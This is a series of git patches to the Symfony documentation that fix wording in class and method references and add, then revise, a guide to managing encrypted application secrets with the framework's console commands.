@@ -29,7 +29,7 @@ it is possible to remove this need by declaring a single command application::
         ->setDefaultCommand('echo', true) // Single command application
         ->run();
 
-The method :method:`Symfony\\Component\\Console\\Application::setDefaultCommand`
+The :method:`Symfony\\Component\\Console\\Application::setDefaultCommand` method
 accepts a boolean as second parameter. If true, the command ``echo`` will then
 always be used, without having to pass its name.
 
diff --git a/components/options_resolver.rst b/components/options_resolver.rst
index 0b09a27f6cd..817bada6731 100644
--- a/components/options_resolver.rst
+++ b/components/options_resolver.rst
@@ -297,7 +297,7 @@ been set::
         }
     }
 
-The method :method:`Symfony\\Component\\OptionsResolver\\OptionsResolver::getMissingOptions`
+The :method:`Symfony\\Component\\OptionsResolver\\OptionsResolver::getMissingOptions` method
 lets you access the names of all missing options.
 
 Type Validation
diff --git a/components/routing.rst b/components/routing.rst
index e7510797e7b..d081f381bc6 100644
--- a/components/routing.rst
+++ b/components/routing.rst
@@ -28,7 +28,7 @@ Usage
 
 In order to set up a basic routing system you need three parts:
 
-* A :class:`Symfony\\Component\\Routing\\RouteCollection`, which contains the route definitions (instances of the class :class:`Symfony\\Component\\Routing\\Route`)
+* A :class:`Symfony\\Component\\Routing\\RouteCollection`, which contains the route definitions (instances of the :class:`Symfony\\Component\\Routing\\Route` class)
 * A :class:`Symfony\\Component\\Routing\\RequestContext`, which has information about the request
 * A :class:`Symfony\\Component\\Routing\\Matcher\\UrlMatcher`, which performs the mapping of the request to a single route
 
diff --git a/components/security/authentication.rst b/components/security/authentication.rst
index f5333c188e0..4ff251ef271 100644
--- a/components/security/authentication.rst
+++ b/components/security/authentication.rst
@@ -100,10 +100,10 @@ Authentication Providers
 
 Each provider (since it implements
 :class:`Symfony\\Component\\Security\\Core\\Authentication\\Provider\\AuthenticationProviderInterface`)
-has a method :method:`Symfony\\Component\\Security\\Core\\Authentication\\Provider\\AuthenticationProviderInterface::supports`
+has a :method:`Symfony\\Component\\Security\\Core\\Authentication\\Provider\\AuthenticationProviderInterface::supports` method
 by which the ``AuthenticationProviderManager``
 can determine if it supports the given token. If this is the case, the
-manager then calls the provider's method :method:`Symfony\\Component\\Security\\Core\\Authentication\\Provider\\AuthenticationProviderInterface::authenticate`.
+manager then calls the provider's :method:`Symfony\\Component\\Security\\Core\\Authentication\\Provider\\AuthenticationProviderInterface::authenticate` method.
 This method should return an authenticated token or throw an
 :class:`Symfony\\Component\\Security\\Core\\Exception\\AuthenticationException`
 (or any other exception extending it).
diff --git a/reference/constraints/File.rst b/reference/constraints/File.rst
index 87de26e80e0..c9f3f0e7d81 100644
--- a/reference/constraints/File.rst
+++ b/reference/constraints/File.rst
@@ -6,7 +6,7 @@ Validates that a value is a valid "file", which can be one of the following:
 * A string (or object with a ``__toString()`` method) path to an existing
   file;
 * A valid :class:`Symfony\\Component\\HttpFoundation\\File\\File` object
-  (including objects of class :class:`Symfony\\Component\\HttpFoundation\\File\\UploadedFile`).
+  (including objects of :class:`Symfony\\Component\\HttpFoundation\\File\\UploadedFile` class).
 
 This constraint is commonly used in forms with the :doc:`FileType </reference/forms/types/file>`
 form field.
diff --git a/validation.rst b/validation.rst
index 740c6fe8528..dd30d283060 100644
--- a/validation.rst
+++ b/validation.rst
@@ -115,7 +115,7 @@ on the ``validator`` service (which implements :class:`Symfony\\Component\\Valid
 The job of the ``validator`` is easy: to read the constraints (i.e. rules)
 of a class and verify if the data on the object satisfies those
 constraints. If validation fails, a non-empty list of errors
-(class :class:`Symfony\\Component\\Validator\\ConstraintViolationList`) is
+(:class:`Symfony\\Component\\Validator\\ConstraintViolationList` class) is
 returned. Take this simple example from inside a controller::
 
     // ...
diff --git a/workflow.rst b/workflow.rst
index 5f53f2261c2..890225c6efd 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -391,7 +391,7 @@ This means that each event has access to the following information:
 
         The ``getWorkflowName()`` method was introduced in Symfony 3.3.
 
-For Guard Events, there is an extended class :class:`Symfony\\Component\\Workflow\\Event\\GuardEvent`.
+For Guard Events, there is an extended :class:`Symfony\\Component\\Workflow\\Event\\GuardEvent` class.
 This class has two more methods:
 
 :method:`Symfony\\Component\\Workflow\\Event\\GuardEvent::isBlocked`

From dd50317eaa0cefdf087ebf706d6f2f3af5b68c79 Mon Sep 17 00:00:00 2001
From: Ahmed TAILOULOUTE <ahmed.tailouloute@gmail.com>
Date: Thu, 9 Jan 2020 13:05:12 +0100
Subject: [PATCH 0182/7107] Update extending.rst

---
 components/expression_language/extending.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/expression_language/extending.rst b/components/expression_language/extending.rst
index c4b8556b756..b34af3e2c30 100644
--- a/components/expression_language/extending.rst
+++ b/components/expression_language/extending.rst
@@ -49,7 +49,7 @@ Example::
 
 In addition to the custom function arguments, the **evaluator** is passed an
 ``arguments`` variable as its first argument, which is equal to the second
-argument of ``compile()`` (e.g. the "values" when evaluating an expression).
+argument of ``evaluate()`` (e.g. the "values" when evaluating an expression).
 
 .. _components-expression-language-provider:
 

From 56c7b407a50c11993c60470b5e3772959255ef8f Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 16 Jan 2020 09:16:05 +0100
Subject: [PATCH 0183/7107] minor

---
 components/console/helpers/progressbar.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/components/console/helpers/progressbar.rst b/components/console/helpers/progressbar.rst
index c1c524cbef6..27476fa0964 100644
--- a/components/console/helpers/progressbar.rst
+++ b/components/console/helpers/progressbar.rst
@@ -50,9 +50,9 @@ you can also set the current progress by calling the
 
     If your platform doesn't support ANSI codes, updates to the progress
     bar are added as new lines. To prevent the output from being flooded,
-    use the method :method:`Symfony\\Component\\Console\\Helper\\ProgressBar::minSecondsBetweenRedraws`
-    to limit the number of redraws and the method
-    :method:`Symfony\\Component\\Console\\Helper\\ProgressBar::setRedrawFrequency`
+    use the :method:`Symfony\\Component\\Console\\Helper\\ProgressBar::minSecondsBetweenRedraws`
+    method to limit the number of redraws and the
+    :method:`Symfony\\Component\\Console\\Helper\\ProgressBar::setRedrawFrequency` method
     to redraw every N iterations. By default, redraw frequency is
     **100ms** or **10%** of your ``max``.
 

From ef087abdde3c6366ddcffef780b2a236923f8af3 Mon Sep 17 00:00:00 2001
From: belghiti idriss <belghyty@gmail.com>
Date: Thu, 16 Jan 2020 19:12:32 +0100
Subject: [PATCH 0184/7107] Fix Typo

Fix a typo in line 12 is build => is built
---
 reference/forms/types/options/label_format.rst.inc | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/forms/types/options/label_format.rst.inc b/reference/forms/types/options/label_format.rst.inc
index c45061d4be7..efe9d5d3760 100644
--- a/reference/forms/types/options/label_format.rst.inc
+++ b/reference/forms/types/options/label_format.rst.inc
@@ -9,7 +9,7 @@ option was not set. This is useful when using
 
 If you're using keyword translation messages as labels, you often end up having
 multiple keyword messages for the same label (e.g. ``profile_address_street``,
-``invoice_address_street``). This is because the label is build for each "path"
+``invoice_address_street``). This is because the label is built for each "path"
 to a field. To avoid duplicated keyword messages, you can configure the label
 format to a static value, like::
 

From 51cf7f069697c574e3338ed108edf8173fb868cb Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 16 Jan 2020 17:30:09 +0100
Subject: [PATCH 0185/7107] [FrameworkBundle] Mention that setting router.utf8
 is now mandatory

---
 reference/configuration/framework.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 65b8afd3970..71913bba1b8 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1172,6 +1172,11 @@ utf8
 
 **type**: ``boolean`` **default**: ``false``
 
+.. deprecated:: 5.1
+
+    Not setting this option is deprecated since Symfony 5.1. Moreover, the
+    default value of this option will change to ``true`` in Symfony 6.0.
+
 When this option is set to ``true``, the regular expressions used in the
 :ref:`requirements of route parameters <routing-requirements>` will be run
 using the `utf-8 modifier`_. This will for example match any UTF-8 character

From 67399d374635c7ee5a7cb8800629d4971ab92d32 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 17 Jan 2020 17:59:32 +0100
Subject: [PATCH 0186/7107] Fixed an RST syntax issue

---
 reference/constraints/File.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/constraints/File.rst b/reference/constraints/File.rst
index e8579fa7653..c9c9094ab79 100644
--- a/reference/constraints/File.rst
+++ b/reference/constraints/File.rst
@@ -8,7 +8,7 @@ Validates that a value is a valid "file", which can be one of the following:
 * A valid :class:`Symfony\\Component\\HttpFoundation\\File\\File` object
   (including objects of :class:`Symfony\\Component\\HttpFoundation\\File\\UploadedFile` class).
 
-This constraint is commonly used in forms with the :doc:`FileType <reference/forms/types/file>`
+This constraint is commonly used in forms with the :doc:`FileType </reference/forms/types/file>`
 form field.
 
 .. tip::

From b6dcce00f0d2664508a5a3bc3476e08359d8bcb1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 16 Jan 2020 17:56:31 +0100
Subject: [PATCH 0187/7107] [Yaml] Documented the yaml-lint binary

---
 translation/lint.rst | 13 +++++++++++++
 1 file changed, 13 insertions(+)

diff --git a/translation/lint.rst b/translation/lint.rst
index 29cec3c5008..bcdd42eae9b 100644
--- a/translation/lint.rst
+++ b/translation/lint.rst
@@ -32,3 +32,16 @@ The linter results can be exported to JSON using the ``--format`` option:
 
     $ php bin/console lint:yaml translations/ --format=json
     $ php bin/console lint:xliff translations/ --format=json
+
+.. tip::
+
+    The Yaml component provides a stand-alone ``yaml-lint`` binary to lint YAML
+    files without using the entire Symfony console application:
+
+    .. code-block:: terminal
+
+        $ php vendor/bin/yaml-lint translations/
+
+    .. versionadded:: 5.1
+
+        The ``yaml-lint`` binary was introduced in Symfony 5.1.

From 82d2058d2e3c1117cea4a1e19336de97d8a25782 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=A9my=20Deruss=C3=A9?= <jeremy@derusse.com>
Date: Wed, 10 Apr 2019 15:41:43 +0200
Subject: [PATCH 0188/7107] Add the secret documentation

---
 best_practices.rst                   |   8 +
 configuration/env_var_processors.rst |  53 ++++
 configuration/secrets.rst            | 391 +++++++++++++++++++++++++++
 doctrine/pdo_session_storage.rst     |   3 +-
 4 files changed, 454 insertions(+), 1 deletion(-)
 create mode 100644 configuration/secrets.rst

diff --git a/best_practices.rst b/best_practices.rst
index a249ea74d4c..a996e7d83d0 100644
--- a/best_practices.rst
+++ b/best_practices.rst
@@ -87,6 +87,14 @@ application behavior.
 :ref:`Use env vars in your project <config-env-vars>` to define these options
 and create multiple ``.env`` files to :ref:`configure env vars per environment <config-dot-env>`.
 
+Use Secret for Sensitive Information
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+These are the options used to store sensitive information like passwords,
+tokens, api key
+
+:ref:`Use secrets <secrets-set>` to define these options in an easy and secure way.
+
 Use Parameters for Application Configuration
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index 67d9bca422e..934c96199f9 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -624,6 +624,59 @@ Symfony provides the following env var processors:
 
         The ``query_string`` processor was introduced in Symfony 4.3.
 
+``env(secret:FOO)``
+    Reads a secret value stored in the app's vault, :ref:`see how to set Secrets<secrets-set>`.
+
+    .. code-block:: terminal
+
+        $ php bin/console secrets:set DATABASE_PASSWORD -
+
+    .. configuration-block::
+
+        .. code-block:: yaml
+
+            # config/packages/database.yaml
+            doctrine:
+                dbal:
+                    # by convention the env var names are always uppercase
+                    url: '%env(DATABASE_URL)%'
+                    password: '%env(secret:DATABASE_PASSWORD)%'
+
+        .. code-block:: xml
+
+        <!-- config/packages/doctrine.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:doctrine="http://symfony.com/schema/dic/doctrine"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/doctrine
+                https://symfony.com/schema/dic/doctrine/doctrine-1.0.xsd">
+
+            <doctrine:config>
+                <!-- by convention the env var names are always uppercase -->
+                <doctrine:dbal url="%env(DATABASE_URL)%" password="%env(secret:DATABASE_PASSWORD)%"/>
+            </doctrine:config>
+
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/doctrine.php
+        $container->loadFromExtension('doctrine', [
+            'dbal' => [
+                // by convention the env var names are always uppercase
+                'url' => '%env(DATABASE_URL)%',
+                'password' => '%env(secret:DATABASE_PASSWORD)%',
+            ]
+        ]);
+
+
+    .. versionadded:: 4.4
+
+        The ``secret`` processor was introduced in Symfony 4.4.
+
 It is also possible to combine any number of processors:
 
 .. code-block:: yaml
diff --git a/configuration/secrets.rst b/configuration/secrets.rst
new file mode 100644
index 00000000000..adccfe62892
--- /dev/null
+++ b/configuration/secrets.rst
@@ -0,0 +1,391 @@
+.. index::
+    single: Secrets
+
+How to Keep Sensitive Information Secret
+========================================
+
+.. versionadded:: 4.4
+
+    The Secrets management was introduced in Symfony 4.4.
+
+In :doc:`/configuration` and :doc:`/configuration/environment_variables`, you
+learned how to manage your application configuration. In this article you'll
+learn how to safely configure your application with sensitive information such
+as credentials, passwords, tokens, API keys without exposing them.
+
+.. note::
+
+    In order to use Symfony's secrets, you will need the sodium PHP extension
+    bundled in PHP 7.2, but if you use an earlier PHP version, you can
+    install the `libsodium`_ PHP extension or use the
+    `paragonie/sodium_compat`_ package.
+
+.. _secrets-configuration:
+
+Configuration
+-------------
+
+By Default, secrets are enabled by the Framework. The default behaviors can be
+configured:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/framework.yaml
+        framework:
+            secrets:
+                #vault_directory: '%kernel.project_dir%/config/secrets/%kernel.environment%'
+                #local_dotenv_file: '%kernel.project_dir%/.env.local'
+                #decryption_env_var: 'base64:default::SYMFONY_DECRYPTION_SECRET'
+
+    .. code-block:: xml
+
+            <!-- config/packages/framework.xml -->
+            <?xml version="1.0" encoding="UTF-8" ?>
+            <container xmlns="http://symfony.com/schema/dic/services"
+                xmlns:framework="http://symfony.com/schema/dic/framework"
+                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+                xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd
+                    http://symfony.com/schema/dic/framework https://symfony.com/schema/dic/framework/framework-1.0.xsd"
+            >
+                <framework:config secret="%env(APP_SECRET)%">
+                    <framework:secrets
+                        vault_directory="%kernel.project_dir%/config/secrets/%kernel.environment%"
+                        local_dotenv_file="%kernel.project_dir%/.env.local"
+                        decryption_env_var="base64:default::SYMFONY_DECRYPTION_SECRET"
+                    />
+                </framework:config>
+            </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        $container->loadFromExtension('framework', [
+            'secrets' => [
+                // 'vault_directory' => '%kernel.project_dir%/config/secrets/%kernel.environment%',
+                // 'local_dotenv_file' => '%kernel.project_dir%/.env.local',
+                // 'decryption_env_var' => 'base64:default::SYMFONY_DECRYPTION_SECRET',
+            ],
+        ]);
+
+.. _secrets-generate-keys:
+
+Generate Cryptographic Keys
+---------------------------
+
+In order to encrypt and decrypt **secrets**, symfony needs **cryptographic keys**.
+This can be done with the provided command ``secrets:generate-keys``.
+
+.. code-block:: terminal
+
+    $ APP_ENV=prod php bin/console secrets:generate-keys
+
+This command generates a new pair of asymetric **cryptographic keys** in
+``%kernel.project_dir%/config/secrets/%kernel.environment%``.
+The **encryption key** is stored in the ``%kernel.environment%.sodium.encrypt.public``
+file, it is used to encrypt secrets when developers add or update secrets. This
+key can be committed. The **decryption key** stored in the
+``%kernel.environment%.sodium.decrypt.private`` file, it is used to decrypt
+secrets and provide the revealed values to services. The number of people who
+have access this key should be as small as possible.
+
+.. caution::
+
+    The ``prod.sodium.decrypt.private`` file is sensitive and **should not** be
+    committed nor publicly shared. Your team developers and Continuous
+    Integration services don't need that key. If the **decryption key** has
+    been exposed (ex-employee leaving for instance), you should consider
+    generating a new one with the command ``secrets:generate-keys --rotate``.
+
+.. _secrets-set:
+
+Create or Update Secrets
+------------------------
+
+You can add new secrets with the command ``secrets:set``. Symfony will ask you,
+in a hidden prompt, to enter the value. Symfony will encrypt this value and
+store it in a file located by default in the folder
+``%kernel.project_dir%/config/secrets/%kernel.environment%``.
+This file should be committed along side the other project's files.
+
+.. code-block:: terminal
+
+    # create a "DATABASE_PASSWORD" secret interactively
+    $ php bin/console secrets:set DATABASE_PASSWORD
+
+    # create secret for the "prod" environment
+    $ APP_ENV=prod php bin/console secrets:set DATABASE_PASSWORD
+
+    # provide a file where to read the secret from
+    $ php bin/console secrets:set APPLICATION_CREDENTIAL ~/Download/key.json
+
+    # or contents passed to STDIN
+    $ echo -n "$AWS_SECRET_ACCESS_KEY" | php bin/console secrets:set AWS_KEY -
+
+    # or let Symfony generate a random one for you
+    $ php bin/console secrets:set REMEMBER_ME --random
+
+If the secret already exists, its value will be overridden by the new one.
+
+.. tip::
+
+    The ``--random`` flag will display the generated value in the output.
+    On Linux, you can use the ``xclip`` command to store it directly in your
+    clipboard:
+
+    .. code-block:: terminal
+
+        $ php bin/console secrets:set REMEMBER_ME --random | xclip -selection c
+
+.. _secrets-reference:
+
+Referencing Secrets in Configuration Files
+------------------------------------------
+
+You can reference the secrets in any configuration files by prefixing their names
+using the **secret** :ref:`environment variable processors <env-var-processors>`.
+Their actual values will be resolved at runtime, so that container compilation
+and cache warmup don't need the **decryption key**.
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/doctrine.yaml
+        doctrine:
+            dbal:
+                password: '%env(secret:DATABASE_PASSWORD)%'
+                # ...
+            # ...
+
+    .. code-block:: xml
+
+        <!-- config/packages/doctrine.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:doctrine="http://symfony.com/schema/dic/doctrine"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/doctrine
+                https://symfony.com/schema/dic/doctrine/doctrine-1.0.xsd">
+
+            <doctrine:config>
+                <doctrine:dbal
+                    password="%env(secret:DATABASE_PASSWORD)%"
+                />
+            </doctrine:config>
+
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/doctrine.php
+        $container->loadFromExtension('doctrine', [
+            'dbal' => [
+                'password' => '%env(secret:DATABASE_PASSWORD)%',
+            ]
+        ]);
+
+This configuration requires that all environments uses secrets. Each
+environment would have its own **cryptographic keys** and their own encrypted
+secrets.
+
+You can also use parameters to configure different strategies per environnement,
+by defining a default plain text secret:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/doctrine.yaml
+        doctrine:
+            dbal:
+                password: '%database_password%'
+                # ...
+            # ...
+
+        parameters:
+            database_password: 'not a secret'
+
+    .. code-block:: xml
+
+        <!-- config/packages/doctrine.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:doctrine="http://symfony.com/schema/dic/doctrine"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/doctrine
+                https://symfony.com/schema/dic/doctrine/doctrine-1.0.xsd">
+
+            <doctrine:config>
+                <doctrine:dbal
+                    password="%env(secret:DATABASE_PASSWORD)%"
+                />
+            </doctrine:config>
+
+            <parameters>
+                <parameter key="database_password">not a secret</parameter>
+            </parameters>
+
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/doctrine.php
+        $container->loadFromExtension('doctrine', [
+            'dbal' => [
+                'password' => '%env(secret:DATABASE_PASSWORD)%',
+            ]
+        ]);
+        $container->setParameter('database_password', 'not a secret');
+
+Then overriding it in production environment:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/prod/doctrine.yaml
+        parameters:
+            database_password: '%env(secret:DATABASE_PASSWORD)%'
+
+    .. code-block:: xml
+
+        <!-- config/packages/prod/doctrine.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:doctrine="http://symfony.com/schema/dic/doctrine"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/doctrine
+                https://symfony.com/schema/dic/doctrine/doctrine-1.0.xsd">
+
+            <parameters>
+                <parameter key="database_password">%env(secret:DATABASE_PASSWORD)%</parameter>
+            </parameters>
+
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/prod/doctrine.php
+        $container->setParameter('database_password', '%env(secret:DATABASE_PASSWORD)%');
+
+.. _secrets-list:
+
+List Existing Secrets
+---------------------
+
+Everybody is allowed to list the Secrets' names with the command
+``secrets:list``.
+If you have the **decryption key** you can also reveal the secrets' values by
+passing the option ``--reveal`` to the command:
+
+.. code-block:: terminal
+
+    $ php bin/console secrets:list --reveal
+
+     ------------------- ------------
+      Name                Value
+     ------------------- ------------
+      DATABASE_PASSWORD   "my secret"
+     ------------------- ------------
+
+Remove Secrets
+--------------
+
+Symfony provides a convenient command to remove a Secret:
+
+.. code-block:: terminal
+
+    $ php bin/console secrets:remove DATABASE_PASSWORD
+
+Rotate Secrets
+--------------
+
+The ``secrets:generate-keys`` command provides an ``--rotate`` option to
+regenerate the **cryptographic keys**.
+Symfony will decrypt previous secrets with the old key, generate new
+**cryptographic keys** and re-encrypt secrets with the new key.
+In order to decrypt previous secrets, the developper must have the
+**decryption key**.
+
+Local secrets
+-------------
+
+It's common for developpers to use their own privates secrets (for
+instance a Github token, an Ldap password, or a personnal AWS access key, ...).
+
+The ``secrets:set`` and ``secrets:remove`` commands provide an ``--local``
+option that stores the secrets in the local ``.env.local`` file like a standard
+environment variable suffixed with ``_SECRET``.
+
+This environment variable will take precedence over the original secret (if
+exists).
+
+.. code-block:: terminal
+
+    $ echo -n "root" | php bin/console secrets:set DATABASE_PASSWORD -
+
+The ``.env.local`` file will look like:
+
+.. code-block:: bash
+
+    DATABASE_PASSWORD_SECRET=root
+
+Listing the secrets will now display the local variable too.
+
+.. code-block:: terminal
+
+    $ php bin/console secrets:remove DATABASE_PASSWORD
+     ------------------- ------------- -------------
+      Name                Value         Local Value
+     ------------------- ------------- -------------
+      DATABASE_PASSWORD   "my secret"   "root"
+     ------------------- ------------- -------------
+
+In addition, Symfony provides the ``secrets:decrypt-to-local``command, it's
+decrypts all secrets and stores them in the local vault. Symfony also provides
+the ``secrets:encrypt-from-local`` command, it's encrypts all local secrets to
+the vault.
+
+.. _secrets-deploy
+
+Deploy secrets to production
+----------------------------
+
+As the **decryption key** is not committed, during development, you'll have to
+manually deploy it (once and for all). You have 2 ways to do it.
+
+1) uploading the file
+
+The first way, is to copy the **decryption key** file stored in
+``%kernel.project_dir%/config/secrets/%kernel.environment%/%kernel.environment%.sodium.decrypt.private``
+on the servers.
+
+2) Using env variable
+
+The second way is to set the ``SYMFONY_DECRYPTION_SECRET`` environment variable
+with the base64 encoded value of the **encryption key**.
+
+A fancy way to fetch the value of the key is:
+
+.. code-block:: terminal
+
+    $ php -r 'echo base64_encode(require "config/secrets/prod/prod.sodium.decrypt.private");'
+
+.. _`libsodium`: https://pecl.php.net/package/libsodium
+.. _
+`sodium_compatparagonie/sodium_compat https://packagist.org/packages/paragonie/sodium_compat
+
+To improve performance, you can also decrypt all secrets and store them in the
+local vault with the command:
+
+.. code-block:: terminal
+
+    $ php bin/console secrets:decrypt-to-local --force
diff --git a/doctrine/pdo_session_storage.rst b/doctrine/pdo_session_storage.rst
index 7bc6bacc450..e33486e7718 100644
--- a/doctrine/pdo_session_storage.rst
+++ b/doctrine/pdo_session_storage.rst
@@ -70,7 +70,8 @@ To use it, first register a new handler service:
 
     Configure the database credentials
     :ref:`using environment variables in the config file <config-env-vars>`
-    to make your application more secure.
+    or :ref:`using secrets in the config file <secrets-reference>` to make
+    your application more secure.
 
 Next, tell Symfony to use your service as the session handler:
 

From 75e5ae65e9d75c78a7de931c71101f81a4a3ad5f Mon Sep 17 00:00:00 2001
From: Ryan Weaver <ryan@thatsquality.com>
Date: Sat, 18 Jan 2020 15:07:37 -0600
Subject: [PATCH 0189/7107] finishing the secrets documentation

---
 best_practices.rst                   |   6 +-
 configuration.rst                    | 214 +++++++-------
 configuration/env_var_processors.rst |  53 ----
 configuration/secrets.rst            | 414 +++++++++++----------------
 doctrine/pdo_session_storage.rst     |   6 +-
 5 files changed, 286 insertions(+), 407 deletions(-)

diff --git a/best_practices.rst b/best_practices.rst
index a996e7d83d0..5616f1f8120 100644
--- a/best_practices.rst
+++ b/best_practices.rst
@@ -90,10 +90,8 @@ and create multiple ``.env`` files to :ref:`configure env vars per environment <
 Use Secret for Sensitive Information
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-These are the options used to store sensitive information like passwords,
-tokens, api key
-
-:ref:`Use secrets <secrets-set>` to define these options in an easy and secure way.
+When your application has sensitive configuration - like an API key - you should
+store those securely via :doc:`secrets </configuration/secrets>`.
 
 Use Parameters for Application Configuration
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
diff --git a/configuration.rst b/configuration.rst
index 8fe6169b8ec..caa2a25cb61 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -436,14 +436,14 @@ Configuration Based on Environment Variables
 
 Using `environment variables`_ (or "env vars" for short) is a common practice to
 configure options that depend on where the application is run (e.g. the database
-credentials are usually different in production and in your local machine).
+credentials are usually different in production versus your local machine). If
+the values are sensitive, you can even :doc:`encrypt them as secrets </configuration/secrets>`.
 
-Instead of defining those as regular options, you can define them as environment
-variables and reference them in the configuration files using the special syntax
+You can reference environment variables using the special syntax
 ``%env(ENV_VAR_NAME)%``. The values of these options are resolved at runtime
 (only once per request, to not impact performance).
 
-This example shows how to configure the database connection using an env var:
+This example shows how you could configure the database connection using an env var:
 
 .. configuration-block::
 
@@ -485,164 +485,168 @@ This example shows how to configure the database connection using an env var:
             ]
         ]);
 
-The next step is to define the value of those env vars in your shell, your web
-server, etc. This is explained in the following sections, but to protect your
-application from undefined env vars, you can give them a default value using the
-``.env`` file:
-
-.. code-block:: bash
-
-    # .env
-    DATABASE_URL=sqlite:///%kernel.project_dir%/var/data.db
-
 .. seealso::
 
     The values of env vars can only be strings, but Symfony includes some
     :doc:`env var processors </configuration/env_var_processors>` to transform
     their contents (e.g. to turn a string value into an integer).
 
-In order to define the actual values of env vars, Symfony proposes different
-solutions depending if the application is running in production or in your local
-development machine.
-
-Independent from the way you set environment variables, you may need to run the
-``debug:container`` command with the ``--env-vars`` option to verify that they
-are defined and have the expected values:
+To define the value of an env var, you have several options:
 
-.. code-block:: terminal
+* :ref:`Add the value to a .env file <config-dot-env>`;
+* :ref:`Encrypt the value as a secret <configuration-secrets>`;
+* Set the value as a real environment variable in your shell or your web server.
 
-    $ php bin/console debug:container --env-vars
-
-    ---------------- ----------------- ---------------------------------------------
-     Name             Default value     Real value
-    ---------------- ----------------- ---------------------------------------------
-     APP_SECRET       n/a               "471a62e2d601a8952deb186e44186cb3"
-     FOO              "[1, "2.5", 3]"   n/a
-     BAR              null              n/a
-    ---------------- ----------------- ---------------------------------------------
+.. tip::
 
-    # you can also filter the list of env vars by name:
-    $ php bin/console debug:container --env-vars foo
+    Some hosts - like SymfonyCloud - offer easy `utilities to manage env vars`_
+    in production.
 
-    # run this command to show all the details for a specific env var:
-    $ php bin/console debug:container --env-var=FOO
+.. caution::
 
-.. versionadded:: 4.3
+    Beware that dumping the contents of the ``$_SERVER`` and ``$_ENV`` variables
+    or outputting the ``phpinfo()`` contents will display the values of the
+    environment variables, exposing sensitive information such as the database
+    credentials.
 
-    The option to debug environment variables was introduced in Symfony 4.3.
+    The values of the env vars are also exposed in the web interface of the
+    :doc:`Symfony profiler </profiler>`. In practice this shouldn't be a
+    problem because the web profiler must **never** be enabled in production.
 
 .. _configuration-env-var-in-dev:
 .. _config-dot-env:
 
-Configuring Environment Variables in Development
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Configuring Environment Variables in .env Files
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Instead of defining env vars in your shell or your web server, Symfony proposes
-a convenient way of defining them in your local machine based on a file called
-``.env`` (with a leading dot) located at the root of your project.
+Instead of defining env vars in your shell or your web server, Symfony provides
+a convenient way to define them inside a ``.env`` (with a leading dot) file
+located at the root of your project.
 
 The ``.env`` file is read and parsed on every request and its env vars are added
-to the ``$_ENV`` PHP variable. The existing env vars are never overwritten by
-the values defined in ``.env``, so you can combine both.
+to the ``$_ENV`` & ``$_SERVER`` PHP variables. Any existing env vars are *never*
+overwritten by the values defined in ``.env``, so you can combine both.
 
-This is for example the content of the ``.env`` file to define the value of the
-``DATABASE_URL`` env var shown earlier in this article:
